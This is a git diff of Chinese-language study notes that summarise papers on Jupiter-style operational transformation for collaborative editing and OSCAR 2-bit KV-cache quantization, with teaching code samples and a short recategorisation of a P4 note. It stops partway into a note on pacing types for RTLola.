+论文被引 100+ 次，是 [[ot-1989]] 之后协同编辑工程化的里程碑；与 [[zed-editor-collaborative]]、[[eg-walker-collab-text-2024]] 等现代方案对比时，Jupiter 代表 **OT + 中心化** 的经典范式。
+
+## 系统架构
+
+```mermaid
+flowchart TB
+  subgraph 客户端
+    C1[Client A<br/>本地控件副本]
+    C2[Client B<br/>本地控件副本]
+  end
+
+  subgraph 中心服务器
+    S[Jupiter Server<br/>MOO 解释器 + 世界状态]
+    W[共享 Window / Widget]
+  end
+
+  C1 <-->|TCP 高层 widget 消息| S
+  C2 <-->|TCP 高层 widget 消息| S
+  S --> W
+  C1 -.->|不直连| C2
+```
+
+要点：
+
+- **Server** 持有权威状态，执行用户写的 Jupiter 应用逻辑。
+- **Client** 维护控件副本，用户操作时**立即改本地副本**，并发出状态更新消息。
+- **Client 之间不通信**；server 收到某 client 的变更后，按 Figure 9 算法**广播给其他 client**。
+- 应用界面用 **S-expression** 描述（类似 FormsVBT），例如垂直 `VBox` 里放 `TextEdit %contents`。
+
+## 核心概念
+
+### 1. 高层 widget 协议（省带宽）
+
+与 X Remote / LBX 等「压缩像素流」不同，Jupiter 在链路上只传：
+
+- 创建窗口的 S-expression；
+- `Numeric` / `Boolean` 的**完整新值**（滑块松手后才发，拖动过程不发中间帧）；
+- `TextEdit` 的 **`Replace(区域, 文本)`** 增量；
+- `StrokeEdit` 的笔画创建/移动/删除等（见论文 Table 2）。
+
+这样**一次用户意图 = 一条语义消息**，避免「每个按键一次往返」。
+
+### 2. 乐观并发 + 中心化
+
+- **悲观**方案：改数据前先要锁或 floor control → 慢网上用户干等。
+- **Jupiter**：client **先本地应用**，再发消息；冲突靠 OT 修复。
+- 因为已有中心 server 存持久世界，**只在每条 client-server 链路上做两方 OT**，server 端把各 client「看成已与 server 同步」，再用简单 echo 实现 **N 路一致**。
+
+### 3. 状态格 `(clientMsgs, serverMsgs)`
+
+双方每处理一条消息，就在二维格子里前进一步。无冲突时走同一路径；冲突时分叉，靠 `xform` 在汇合时对齐。
+
+论文 Figure 3 经典例子：文本 `"ABCDE"`，client 删第 4 字符 `D`，server 删第 2 字符 `B`：
+
+- 无变换 → client 得 `ACE`，server 得 `ACD`（不一致）；
+- `xform(del 4, del 2)` → client 消息改为 `del 3` → 双方都得到 `ACD`。
+
+### 4. `xform(c, s) → {c', s'}`
+
+对**从同一起点状态**发出的 client 消息 `c` 与 server 消息 `s`，返回变换后的 `c'`、`s'`，使得：
+
+- client 执行 `c` 再执行 `s'`；
+- server 执行 `s` 再执行 `c'`；
+
+最终控件值相同。
+
+删除操作的规则（论文直接给出）：
+
+```
+xform(del x, del y) =
+  { del x-1, del y }  if x > y
+  { del x, del y-1 }  if x < y
+  { no-op, no-op }    if x = y
+```
+
+### 5. 出站队列与「假想操作」`c'`
+
+若 client 与 server **错开超过一步**（Figure 5），不能直接用 `xform(c, s2)`，因为 `c` 与 `s2` 起点不同。Jupiter 的修复：
+
+1. 处理 `s1` 时保存 `xform(c, s1)` 返回的 **`c'`**（「若从 server 当时状态出发，client 本会发什么」）；
+2. 收到 `s2` 时用 **`xform(c', s2)`** 继续对齐。
+
+这是对 dOPT 的改进：dOPT 在多方、深度分叉时对**已保存消息**变换不足；Jupiter 在**有序 TCP + 仅两方链路**前提下补全了这一点。
+
+### 6. 消息序号与窗口锁
+
+应用改控件前需持有** per-window 锁**。若 B 窗消息因锁延迟处理，A 窗的回复却提前 ack 了 B 的消息，序号会误导双方「以为不冲突」。因此：
+
+- **未处理的消息不能 ack**；
+- 序号粒度至少细到**锁的粒度**（Jupiter 用 per-window 计数器）。
+
+### 7. 选择变换函数的工程权衡（Section 7）
+
+Jupiter 约有 19 种 client 消息、24 种 server 消息；同一 widget 内才需变换，实际约 **41 类**冲突对。设计原则：
+
+- 变换集合对操作类型**封闭**；
+- **尽量不丢用户输入**；
+- **别让应用层收到语义过时的回调**（如列表已换，仍上报旧下标）。
+
+具体策略举例：
+
+| 控件 | 冲突策略 |
+|------|----------|
+| `Numeric` / `Boolean` | server `SetValue` 赢，client 变 `no-op` |
+| `TextList` | 用户 `Activate` vs server `ReplaceItems` → 丢用户动作（索引已失效） |
+| `TextEdit` | 双 `Replace` → 合并删除区间并插入双方文本；同点插入 server 优先 |
+| `StrokeEdit` | 模式切换 vs 用户新笔画 → 保留笔画但可能让应用意外（论文承认是妥协） |
+
+## 代码示例 1：两方同步核心（摘自论文 Figure 6 的 TypeScript 化）
+
+下面是把 Jupiter **client 侧**收发逻辑抽成可读伪代码（`myMsgs` / `otherMsgs` 即状态格坐标）：
+
+```typescript
+type WidgetOp = { kind: string; payload: unknown };
+type QueuedMsg = { op: WidgetOp; myMsgs: number };
+
+class JupiterEndpoint {
+  myMsgs = 0;
+  otherMsgs = 0;
+  outgoing: QueuedMsg[] = [];
+
+  constructor(
+    private applyLocally: (op: WidgetOp) => void,
+    private send: (op: WidgetOp, myMsgs: number, otherMsgs: number) => void,
+    private xform: (a: WidgetOp, b: WidgetOp) => [WidgetOp, WidgetOp],
+  ) {}
+
+  /** 用户或本地逻辑发起变更 */
+  generate(op: WidgetOp): void {
+    this.applyLocally(op);
+    this.send(op, this.myMsgs, this.otherMsgs);
+    this.outgoing.push({ op, myMsgs: this.myMsgs });
+    this.myMsgs += 1;
+  }
+
+  /** 收到对方消息（含序号 myMsgs/otherMsgs） */
+  receive(msg: WidgetOp, msgMyMsgs: number, msgOtherMsgs: number): void {
+    // 对端已处理到 msgOtherMsgs → 丢弃已确认的出站消息
+    this.outgoing = this.outgoing.filter((m) => m.myMsgs >= msgOtherMsgs);
+
+    // 新消息必须与当前 otherMsgs 对齐（有序信道假设）
+    if (msgMyMsgs !== this.otherMsgs) {
+      throw new Error("protocol desync");
+    }
+
+    // 与队列中尚未被对端确认的本地操作逐对变换
+    for (let i = 0; i < this.outgoing.length; i++) {
+      const [newMsg, newQueued] = this.xform(msg, this.outgoing[i].op);
+      msg = newMsg;
+      this.outgoing[i] = { ...this.outgoing[i], op: newQueued };
+    }
+
+    this.applyLocally(msg);
+    this.otherMsgs += 1;
+  }
+}
+```
+
+这段代码体现了 Jupiter 相对 dOPT 的**工程简化**：变换永远发生在 **「当前端 ↔ server」** 之间，tie-breaking 可写进 `xform`，不必携带站点优先级矩阵。
+
+## 代码示例 2：`TextEdit` 删除冲突的 `xform`
+
+把 Figure 3 场景写成可测试函数（1-based 下标，与论文一致）：
+
+```python
+from dataclasses import dataclass
+from typing import Optional, Tuple
+
+@dataclass(frozen=True)
+class Del:
+    pos: int  # 删除第 pos 个字符（1-based）
+
+def apply_del(text: str, op: Del) -> str:
+    i = op.pos - 1
+    return text[:i] + text[i + 1:]
+
+def xform_del(c: Del, s: Del) -> Tuple[Del, Del]:
+    """Jupiter 论文 §5 的 delete/delete 变换"""
+    if c.pos > s.pos:
+        return Del(c.pos - 1), s
+    if c.pos < s.pos:
+        return c, Del(s.pos - 1)
+    return Del(0), Del(0)  # no-op：同一位置，双方删除同一字符
+
+def converge(text: str, c: Del, s: Del) -> str:
+    c2, s2 = xform_del(c, s)
+    # client 路径：先 c 后 s'
+    via_client = apply_del(apply_del(text, c), s2 if s2.pos else Del(1))  # no-op 跳过
+    # server 路径：先 s 后 c'
+    via_server = apply_del(apply_del(text, s), c2 if c2.pos else Del(1))
+    assert via_client == via_server
+    return via_client
+
+# Figure 3: client del 4 (D), server del 2 (B) on "ABCDE"
+assert converge("ABCDE", Del(4), Del(2)) == "ACD"
+```
+
+真实 `TextEdit` 使用 **`Replace(起, 止, 文本)`** 而非裸 `Del`；双 `Replace` 时要合并删除区间、排序插入点，极端情况还需**拆成两条消息**（论文 §7：一种变换产生了原操作集里没有的操作形状）。
+
+## 代码示例 3：Server 端 N 路广播（Figure 9）
+
+```python
+def server_on_client_message(window, msg, sender, clients, apply, send):
+    apply(msg.op, window)           # 更新 server 权威副本
+    for c in clients_for(window):
+        if c is not sender:
+            send(c, msg)              # 其他 client 走同一套两方 OT
+```
+
+每个 client 仍只与 server 做 `xform`；**server 串行应用 + 广播**保证了「所有 client 副本 == server 副本」时彼此相等。
+
+## 与相关工作的关系
+
+| 系统 | 并发控制 | 拓扑 | 与 Jupiter 对比 |
+|------|----------|------|-----------------|
+| Grove / dOPT [[ot-1989]] | 乐观 OT | 全分布式 | Jupiter 算法来源；Jupiter 简化拓扑与序号 |
+| GroupKit / Rendezvous | 各异 | 分布或中心 | Jupiter 强调慢网 widget 抽象 |
+| X / LBX / HBX | 无协作 | 单用户远程显示 | 压缩像素；Jupiter 改语义层 |
+| NeWS / HotJava | — | 代码下发 | code-shipping；Jupiter 隐藏分布细节 |
+| Visual Obliq | 共享需显式 | 中心 | 类似快速原型；未优化慢网 |
+| Google Wave (2009) | OT | 中心 | 公开承认继承 Jupiter 思路 |
+| Yjs / CRDT [[yjs-crdt-overview]] | 无变换 | 任意 | 合并数学保证；非 Jupiter 路线 |
+
+## 踩过的坑
+
+1. **变换函数不是「显然唯一」**：`xform(del, del)` 有合理解，但 `SetValue` 谁赢、`TextList` 是否丢用户点击，都是产品决策。
+2. **操作集封闭性**：`TextEdit` 双 `Replace` 曾需要**拆消息**，否则出现协议未定义的操作类型。
+3. **单点 server**：故障即停；工业界用复制与故障转移弥补，P2P 场景应看 CRDT。
+4. **不能假设无限历史**：出站队列要靠对端 ack 或 **no-op 心跳** 回收，否则单向流量窗口会内存膨胀。
+5. **锁与 ack 顺序**：细粒度锁若与粗粒度序号混用，会制造**虚假无冲突**——论文用 per-window 序号专门修了这类 bug。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 中心化协同编辑 / 共享白板 / 远程表单；
+- 高 RTT、低带宽（跨洋、移动网络、卫星）；
+- 控件类型有限、可为每类 widget **手写变换表**；
+- 需要「本地零延迟反馈」的 UI。
+
+**不适用**：
+
+- 强离线、长时间分叉后合并 → CRDT / [[automerge-json-crdt-2017]] 更省心；
+- 纯 P2P、无信任中心 → OT 变换与因果序维护成本高；
+- 操作种类爆炸（富文本+表格+嵌入对象）→ 变换组合维护地狱；
+- 需要强一致即时全局序 → 悲观锁或共识协议，而非乐观 OT。
+
+## 历史脉络（可跳过）
+
+- **1989**：Ellis & Gibbs 提出 dOPT 与 Grove 编辑器（[[ot-1989]]）。
+- **1995**：本篇 UIST 论文——Jupiter 把 OT 落到 **MOO 虚拟世界 + widget 工具包**，并讨论慢网窗口系统。
+- **1998**：Sun & Ellis OT 综述系统梳理 Jupiter 与后续算法。
+- **2009**：Google Wave 将 Jupiter 式 OT 推向大众（产品下线，算法遗产仍在）。
+- **2010s–**：Google Docs、Etherpad、ot.js 等延续 **server 中介 OT**；同时 CRDT 在 Figma、Yjs 等路线崛起。
+
+## 学到什么
+
+1. **慢网优化的第一杠杆是语义升级**：少发「鼠标移动」，多发「滑块现在是 0.7」。
+2. **拓扑简化与算法简化常是一对**：中心 server 让 N 路问题退化成 N 个两方问题。
+3. **OT 的正确性一半在数学、一半在 widget 语义**：同一套 `xform` 框架下，`TextEdit` 与 `StrokeEdit` 产品行为可以不同。
+4. **乐观 UI 必须配静默修复**：用户不应看到「冲突对话框」，而应看到一致后的结果——后来协同产品的标配体验。
+
+## 延伸阅读
+
+- 原文：[ACM DL — UIST 1995](https://dl.acm.org/doi/10.1145/215585.215706)
+- 前置：[[ot-1989]] — dOPT 与 Grove
+- 对照：[[yjs-crdt-overview]]、[[crdt-shapiro-2011]] — 无中心变换的合并路线
+- 现代实现：[[zed-editor-collaborative]]、Google Wave OT 白皮书（Apache 存档）
+- 综述：Sun & Ellis, *Operational Transformation in Real-Time Group Editors*, 1998
+
+## 关联
+
+- [[ot-1989]] — Jupiter 算法祖先
+- [[jupiter-1995]] — 本库同主题短笔记
+- [[yjs-crdt-overview]] — CRDT 协同编辑对照
+- [[zed-editor-collaborative]] — 现代编辑器协同架构
+- [[eg-walker-collab-text-2024]] — 近年协作文本编辑研究
diff --git a/src/content/docs/papers/oscar-int2-kv.md b/src/content/docs/papers/oscar-int2-kv.md
new file mode 100644
index 000000000..ea547da00
--- /dev/null
+++ b/src/content/docs/papers/oscar-int2-kv.md
@@ -0,0 +1,341 @@
+---
+title: OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转
+来源: 'Zhou et al., "OSCAR: Offline Spectral Covariance-Aware Rotation for 2-bit KV Cache Quantization", arXiv:2605.17757, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：把仓库里的货压缩成四档标签
+
+想象你经营一个超长货架的仓库（**KV cache**），每个新到的包裹（token）都要贴一张明细卡，供后续拣货员（**attention**）对照订单（**query**）快速找货。
+
+- **BF16 原样存储**：每张卡写满 16 位精度数字——准确，但 128K 上下文时仓库面积爆炸，搬运（内存带宽）成为瓶颈。
+- **粗暴 2-bit 压缩**：每张卡只允许四个档位（00/01/10/11）。若按「整张卡的最大最小值」定刻度，少数极端大的数字（**outlier 通道**）会把刻度拉宽，大部分普通数字全挤进同一档——拣货员按卡找货时频繁认错。
+- **Hadamard 旋转（QuaRot 思路）**：先把坐标轴随机搅一搅，让 outlier 分散到各维度——像把尖峰摊平。但搅法**不管拣货员实际怎么查货**，INT2 下仍可能崩。
+- **OSCAR 的做法**：开工前用一小批真实订单（**calibration set**）统计「拣货员最常沿哪些方向查 K/V」，离线算出**固定旋转矩阵**和**裁剪阈值**；上线后长历史用 INT2 存，但**入口几个 sink token** 和**最近一小段窗口**仍用 BF16 原样保留——在约 **2.28 bit/元素** 的有效预算下，尽量让 attention 算出来的分数和输出别跑偏。
+
+论文来自 Together AI / Sydney / UIUC 等团队（arXiv:2605.17757），已实现于 **SGLang** 的 paged KV + Triton INT2 decode 路径，在 Qwen3 与 GLM-4.7 等推理模型上验证：KV 显存约 **8×** 压缩，大批次吞吐最高约 **7×**，32K 生成长度下相对 BF16 平均精度差距可压到个位数百分点，而 naive INT2 / QuaRot-INT2 在推理任务上常接近归零。
+
+---
+
+## 是什么
+
+**OSCAR**（**O**ffline **S**pectral **C**ovariance-**A**ware **R**otation）是一套 **INT2 KV cache 量化 + 在线 serving** 的完整方案，核心主张是：
+
+> 优化目标不应是「KV 张量重建误差最小」，而应是「**attention 实际消费的协方差结构**」在量化后尽量保持。
+
+方法分两阶段：
+
+| 阶段 | 做什么 | 输入/输出 |
+|------|--------|-----------|
+| **Offline 校准** | 在小数据集上 dump Q/K/V；估计 attention-aware 协方差；特征分解得旋转 `R`；拟合 per-token clip 阈值 | 输出每层每头的 `{k,v}_rotation_*.pt` |
+| **Online 推理** | 固定旋转 → clip → INT2 量化打包；sink + recent 保持 BF16；paged cache + 融合 kernel decode | SGLang / vLLM 兼容的 serving |
+
+有效存储约 **2.28 BPE**（bits per KV element，128K 上下文下），相对 BF16 的 16 BPE 约 **7–8×** KV 压缩。
+
+---
+
+## 为什么 INT2 KV 特别难
+
+Decoder 自回归时，每层为历史 token 缓存 Key/Value。长上下文（32K–128K reasoning trace）下，**KV 显存与带宽**往往超过权重本身。
+
+INT2 只有 **4 个重建级别**。KV 激活在 head 维度上存在 **channel-wise outlier**：少数维度极大值主导 min-max scale，导致大量正常维度被量化到同一码本。常见缓解：
+
+1. **旋转**（Hadamard / 随机正交）：摊平 outlier，但 **data-free**，与 attention 无关。
+2. **混合精度窗口**（sink + recent BF16）：保护 attention sink 与局部依赖，但中间历史仍须可检索。
+3. **更高比特**（INT4 / 3-bit TurboQuant）：精度好，但 BPE 更高。
+
+OSCAR 的论点是：在 INT2 极端预算下，**旋转矩阵必须对准 attention 的误差结构**——Keys 通过 `QK^T` 进 logits，Values 通过 softmax 权重进加权和；因此分别用 **`Q^T Q`** 与 **score-weighted value covariance** 来定旋转，而不是 `K^T K` / `V^T V` 这类纯重建目标。
+
+---
+
+## 核心概念
+
+### 1. Attention-aware 协方差目标
+
+对每一 transformer 层、每个 KV head（GQA 下按 query 头分组），在校准 token 上估计：
+
+**Key 侧（`qqt`）**——query 侧平均协方差，反映 K 在 attention 中与 Q 的匹配方向：
+
+```text
+Σ_K = (1 / H_kv) · Σ_h  (Q_h^T Q_h) / n_tokens
+```
+
+**Value 侧（`sst`）**——用 attention score 权重加权的 V 协方差：
+
+```text
+w_h[t] = K_h[t] · (Q^T Q) · K_h[t]^T    // 每 token 的 score 权重
+Σ_V = (1 / H_kv) · Σ_h  V_h^T diag(w_h) V_h / n_tokens
+```
+
+对 `Σ_K`、`Σ_V` 做 **`torch.linalg.eigh`**，取正交特征向量作为谱旋转的基础 **`U`**。
+
+### 2. 复合旋转 R = U · H_Had · P_br
+
+OSCAR 不只用特征向量，而是三因子连乘：
+
+```text
+R = U · H_d · P_br
+```
+
+| 因子 | 作用 |
+|------|------|
+| **U** | 谱方向：对齐 attention 重要维度 |
+| **H_d** | head-dim **Hadamard**：进一步摊平对角 outlier、均衡各维重要性 |
+| **P_br** | **bit-reversal 置换**：按特征值大小排序后交错，避免高方差方向挤在同一 128 维 quant group |
+
+Value 旋转在 serving 中还可 **吸收进投影权重**（`ABSORB_V_ROTATION`），减少在线乘旋转的开销。
+
+### 3. 混合精度 KV 布局
+
+逻辑 cache 三段拼接：
+
+```text
+[ BF16 sink (PREFIX) ] ‖ [ INT2 history ] ‖ [ BF16 recent (sliding window) ]
+```
+
+典型默认：**64** sink + **256** recent BF16，其余历史 **INT2**，group size **128**（沿 head 维分组，非对称仿射 INT2，4 个 2-bit 值打包进 1 byte）。
+
+新 token 写入 recent；最老的 recent  demote 到 INT2 history。Attention decode 时对 BF16 段与 INT2 段分别跑 kernel，再 **online softmax merge**，等价于全精度一次 attention 的结构。
+
+### 4. Frozen-error 理论
+
+论文给出：在 frozen-error surrogate 下，上述 attention-aware 旋转在特定意义下 **最优**——量化误差应限制在 attention **真正敏感**的方向上，而非 Frobenius 意义的 KV 重建。
+
+### 5. 与基线的关键差异
+
+| 方法 | 旋转目标 | BPE | Qwen3-8B 五任务均值 |
+|------|----------|-----|---------------------|
+| BF16 | — | 16.00 | 70.84 |
+| QuaRot-INT2 | Hadamard，无 attention 统计 | 2.25 | 10.14 |
+| Naive INT2 | 无旋转 | 2.25 | ~0 |
+| Saw-INT4 | INT4 参考 | 4.25 | 69.97 |
+| **OSCAR** | `Q^T Q` / `V^T S^T S V` | 2.28 | **69.42**（−1.42 vs BF16） |
+
+消融：把 U 换成 `K^T K` / `V^T V`（tensor-reconstruction target）时，Qwen3-8B 均值从 **70.01** 跌到 **31.12**——说明 **旋转优化目标** 比「多搅几下 Hadamard」更关键。
+
+---
+
+## 代码示例 1：离线估计旋转（简化版）
+
+下面是与官方 `compute_kv_rotation.py` 思路一致的 **教学用** NumPy/PyTorch 伪实现，展示 `qqt` 与 `sst` 如何产生正交旋转：
+
+```python
+import torch
+
+def fit_key_rotation(Q: torch.Tensor, K: torch.Tensor) -> torch.Tensor:
+    """
+    Q, K: [n_tokens, head_dim]  单层单 KV head 的校准激活
+    返回正交旋转矩阵 R_k [head_dim, head_dim]
+    """
+    # Attention-aware key target: average query covariance
+    sigma_k = (Q.T @ Q) / Q.shape[0]          # [d, d]
+    evals, U = torch.linalg.eigh(sigma_k)     # 升序特征值
+    U = U.flip(1)                             # 按特征值从大到小排列列
+
+    d = Q.shape[1]
+    H = torch.tensor([[1, 1], [1, -1]], dtype=Q.dtype) / (2 ** 0.5)
+    while H.shape[0] < d:
+        H = torch.kron(H, torch.tensor([[1, 1], [1, -1]], dtype=Q.dtype) / (2 ** 0.5))
+    H = H[:d, :d]
+
+    # bit-reversal permutation（示意：按 evals 交错 important 方向到 quant groups）
+    order = torch.argsort(evals.flip(0), descending=True)
+    P_br = torch.eye(d)[order]
+
+    R_k = U @ H @ P_br
+    # 数值上应再正交化: R_k, _ = torch.linalg.qr(R_k)
+    return R_k
+
+
+def fit_value_rotation(Q: torch.Tensor, K: torch.Tensor, V: torch.Tensor) -> torch.Tensor:
+    """Score-weighted value covariance."""
+    qqt = (Q.T @ Q) / Q.shape[0]
+    # w[t] = k_t^T (Q^T Q) k_t  — 标量权重 per token
+    w = torch.einsum("td,de,te->t", K, qqt, K)
+    w = w.clamp_min(1e-6)
+    # Σ_V = V^T diag(w) V / n
+    sigma_v = (V.T * w) @ V / V.shape[0]
+    evals, U = torch.linalg.eigh(sigma_v)
+    U = U.flip(1)
+    # ... 同样 compose H, P_br
+    return U  # 完整版见 R = U @ H @ P_br
+```
+
+真实流水线还会：多层多头循环、GQA 分组、保存 `k_rotation_qqt_r_h_pbr.pt` 与 `v_rotation_sst_r_h_pbr.pt`、以及 grid search **clip ratio**（论文默认 K≈0.96、V≈0.92）。
+
+---
+
+## 代码示例 2：在线 rotate → clip → INT2 量化
+
+OSCAR 使用 **token-wise 非对称 INT2**（4 级），在旋转后的空间做 clip 再量化。教学示意：
+
+```python
+import torch
+
+LEVELS = torch.tensor([-1.5, -0.5, 0.5, 1.5])  # 2-bit 重建级别示意
+
+def oscar_quantize_kv(
+    x: torch.Tensor,      # [n_tokens, head_dim]  原始 K 或 V
+    R: torch.Tensor,      # [head_dim, head_dim]  离线固定旋转
+    clip_ratio: float = 0.96,
+    group_size: int = 128,
+) -> tuple[torch.Tensor, torch.Tensor, torch.Tensor]:
+    """
+    返回: codes [n_tokens, head_dim//4 packed], scales, zero_points
+    """
+    x_rot = x @ R                              # 右乘旋转（实现细节以 kernel 为准）
+    n, d = x_rot.shape
+    x_rot = x_rot.view(n, d // group_size, group_size)
+
+    # per-group min-max → clip → 映射到 4 档
+    xmin = x_rot.min(dim=-1, keepdim=True).values
+    xmax = x_rot.max(dim=-1, keepdim=True).values
+    span = (xmax - xmin).clamp_min(1e-5)
+    center = (xmax + xmin) / 2
+    half = span / 2 * clip_ratio
+    x_clip = x_rot.clamp(center - half, center + half)
+
+    scale = (half * 2) / (LEVELS.max() - LEVELS.min())
+    zp = center
+    q = torch.bucketize(x_clip, LEVELS.to(x.device))  # 0..3
+    return q.to(torch.uint8), scale.squeeze(-1), zp.squeeze(-1)
+
+
+def mixed_kv_layout(token_idx: int, seq_len: int, prefix: int = 64, recent: int = 256) -> str:
+    """判断某 token 在 cache 中应处于哪一段。"""
+    if token_idx < prefix:
+        return "bf16_sink"
+    if token_idx >= seq_len - recent:
+        return "bf16_recent"
+    return "int2_history"
+```
+
+生产路径中，上述步骤融合在 **Triton rotate–clip–quantize–pack** kernel 里，并与 **SGLang paged attention**、prefix cache 共用同一套物理布局。
+
+---
+
+## 系统与 Serving 集成
+
+官方仓库 [FutureMLS-Lab/OSCAR](https://github.com/FutureMLS-Lab/OSCAR) 提供三阶段脚本：
+
+1. **`save_qkv_*.sh`** — 在校准集（默认 GPQA）上 dump Q/K/V，约 30K tokens。
+2. **`compute_rotation.sh`** — 特征分解 + 保存 `.pt` 旋转。
+3. **`eval_oscar_*.sh`** — 启动 SGLang，`--kv-cache-dtype int2`，加载旋转路径。
+
+典型环境变量：
+
+```bash
+SGLANG_ENABLE_MIXED_KV_WINDOWS=1
+SGLANG_OSCAR_K_ROTATION_PATH=.../k_rotation_qqt_r_h_pbr.pt
+SGLANG_OSCAR_V_ROTATION_PATH=.../v_rotation_sst_r_h_pbr.pt
+SGLANG_OSCAR_K_CLIP_RATIO=0.96
+SGLANG_OSCAR_V_CLIP_RATIO=0.92
+SGLANG_MIXED_KV_PREFIX_TOKENS=64
+SGLANG_MIXED_KV_RECENT_TOKENS=256
+SGLANG_MIXED_KV_HP_DTYPE=bfloat16
+# prefill: FlashAttention-3; decode: Triton INT2
+```
+
+Prefill 阶段 sink/recent/history 策略与 decode demotion 需与 **radix prefix cache** 一致；论文报告 prefix hit 越高，端到端吞吐增益越明显。
+
+---
+
+## 实验结果摘要
+
+**设置**：5 个推理/代码 benchmark（GPQA、HumanEval、LiveCodeBench v6、AIME 2025、MATH-500），**32K max generation**，多 seed 平均。
+
+| 模型 | OSCAR vs BF16 均值差距 | 备注 |
+|------|------------------------|------|
+| Qwen3-4B-Thinking | −3.78 pp | 小模型差距略大 |
+| Qwen3-8B | −1.42 pp | |
+| Qwen3-32B | −0.02 pp | 近乎持平 |
+| GLM-4.7-FP8 (358B) | +0.27 pp | 略超 BF16（方差内） |
+
+**长上下文**：RULER-NIAH 至 **128K**，OSCAR 在 Qwen3 上仍稳健，QuaRot-INT2 崩溃。
+
+**AIME25 @ 32K**（与其他 INT2 方法对比）：OSCAR 在 Qwen3-8B 上 **66.67%**，接近 BF16 **66.00%**；KIVI-KV2 约 52–58%，Kitty 约 60–69%。
+
+**系统**：同内存预算下大批次吞吐最高 **~7×**；batch=1 decode 因带宽降低最高 **~3×** vs BF16。
+
+---
+
+## 方法流程图（概念）
+
+```text
+Calibration (offline)                Serving (online)
+─────────────────────                ─────────────────
+[Q,K,V dumps]                        New tokens → BF16 recent
+     │                                      │
+     ▼                                      ▼
+Σ_K = Q^T Q / n                      Older recent → rotate·clip·INT2
+Σ_V = V^T diag(w) V / n                     │
+     │                                      ▼
+eigh → U                             Paged KV: [sink|INT2 hist|recent]
+     │                                      │
+R = U · H · P_br  (per layer/head)          ▼
+     │                               FA3 prefill + Triton INT2 decode
+clip thresholds τ_K, τ_V                      │
+     │                               Merge attention segments
+     └────────── .pt 固定加载 ──────────────┘
+```
+
+---
+
+## 优势与局限
+
+**优势**
+
+- **目标函数对齐 attention**：INT2 极端预算下仍可用，推理链任务不像 QuaRot 那样崩。
+- **可部署**：非仅算法论文——SGLang INT2 paged KV、rotation zoo 下载、与 prefix cache 共存。
+- **性价比**：~2.28 BPE 接近 INT2 理论下限，却常逼近 INT4 / BF16 精度。
+
+**局限**
+
+- **离线校准成本**：新模型/新分布需 dump + 算旋转；域偏移大时要重校准。
+- **固定旋转**：不随在线输入自适应；与 TurboQuant 等 online VQ 路线不同。
+- **硬件/框架绑定**：最佳路径依赖 CUDA 12.8+、Triton decode kernel；vLLM 集成在论文中强调 SGLang 为主。
+- **混合窗口超参**：sink/recent 长度与 clip ratio 影响 BPE–精度权衡，需 per-model 调。
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表 | OSCAR 差异 |
+|------|------|------------|
+| KV 压缩/驱逐 | H2O、SnapKV | OSCAR **不丢 token**，全历史可检索 |
+| 旋转量化 | QuaRot | QuaRot **data-free Hadamard**；OSCAR **attention-aware 谱旋转** |
+| 低比特 KV | KIVI、Kitty | OSCAR 强调 **2-bit + serving kernel** 一体，AIME 32K 更强 |
+| Online VQ | TurboQuant | TurboQuant ~3.25 BPE、通用 VQ；OSCAR **2.28 BPE** 固定 layout |
+
+可与 **KV-Fold**（递推式全精度 KV 拼接）对照：KV-Fold 用时间换显存、不量化；OSCAR 用 **极低比特** 换显存、需校准。长上下文 serving 里二者解决的是同一瓶颈的不同切面。
+
+---
+
+## 零基础自检清单
+
+读完后，你应能回答：
+
+1. **为什么 INT2 直接 min-max 量化 KV 会崩？** — outlier 主导 scale，且与 attention 误差无对齐。
+2. **OSCAR 的 K/V 旋转目标分别是什么？** — `Q^T Q` 与 score-weighted `V^T diag(w) V`。
+3. **`R = U · H · P_br` 各因子干什么？** — 谱方向、Hadamard 摊平、bit-reversal 均衡 quant group。
+4. **为何保留 BF16 sink + recent？** — 保护 attention sink 与局部强依赖，中间历史才 INT2。
+5. **2.28 BPE 是什么意思？** — 含混合窗口后的 **有效每 KV 元素比特数**，非纯 INT2 理论 2.0。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.17757](https://arxiv.org/abs/2605.17757)
+- 项目页：[oscar-quantize.github.io](https://oscar-quantize.github.io/)
+- 代码：[github.com/FutureMLS-Lab/OSCAR](https://github.com/FutureMLS-Lab/OSCAR)
+- 基线 QuaRot：data-free Hadamard rotation for KV quant
+- Serving 框架：[SGLang](https://github.com/sgl-project/sglang) mixed KV / INT2 模式
+
+---
+
+## 一句话总结
+
+**OSCAR 把「怎么旋转 KV 再压到 2 bit」从张量重建问题，改写成「离线估计 attention 会消费的协方差结构，再据此固定旋转 + clip + 混合 BF16 窗口」的 serving 问题——让 INT2 KV cache 在长推理链上既省显存又跟得上 BF16 精度。**
diff --git a/src/content/docs/papers/p4-2014.md b/src/content/docs/papers/p4-2014.md
index ae3fa113c..421dc4a49 100644
--- a/src/content/docs/papers/p4-2014.md
+++ b/src/content/docs/papers/p4-2014.md
@@ -2,8 +2,8 @@
 title: P4 — 让交换机的转发逻辑像写代码一样改
 来源: 'Bosshart et al., "P4: Programming Protocol-Independent Packet Processors", ACM SIGCOMM CCR 2014'
 日期: 2026-06-01
-子分类: 网络协议
-分类: 网络协议
+子分类: 系统综合
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/papers/pacing-types-for-asynchronous-stream-equations-arxiv-2605-26635.md b/src/content/docs/papers/pacing-types-for-asynchronous-stream-equations-arxiv-2605-26635.md
new file mode 100644
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--- /dev/null
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@@ -0,0 +1,253 @@
+---
+title: "Pacing Types for Asynchronous Stream Equations — 零基础学习笔记"
+来源: https://arxiv.org/abs/2605.26635
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Pacing Types for Asynchronous Stream Equations — 零基础学习笔记
+
+## 0. 一句话概述
+
+这篇论文给 RTLola（一种用来监控系统健康的语言）加了一套" pacing types"（节拍类型），用来防止用户在编写异步数据流监控规则时，写出永远无法执行的矛盾要求。
+
+## 1. 日常类比：餐厅厨房
+
+想象一个餐厅厨房有三个工位：
+
+- **接单员**（输入流 A）—— 每 30 秒来一张新订单
+- **厨师**（输出流 X）—— 接单后做菜，做完后通知下一个工位
+- **配菜员**（输出流 Y）—— 需要等厨师做好菜才能开始配菜
+
+现在老板给每个工位发了一个要求（这就是 pacing annotation / 节拍标注）：
+
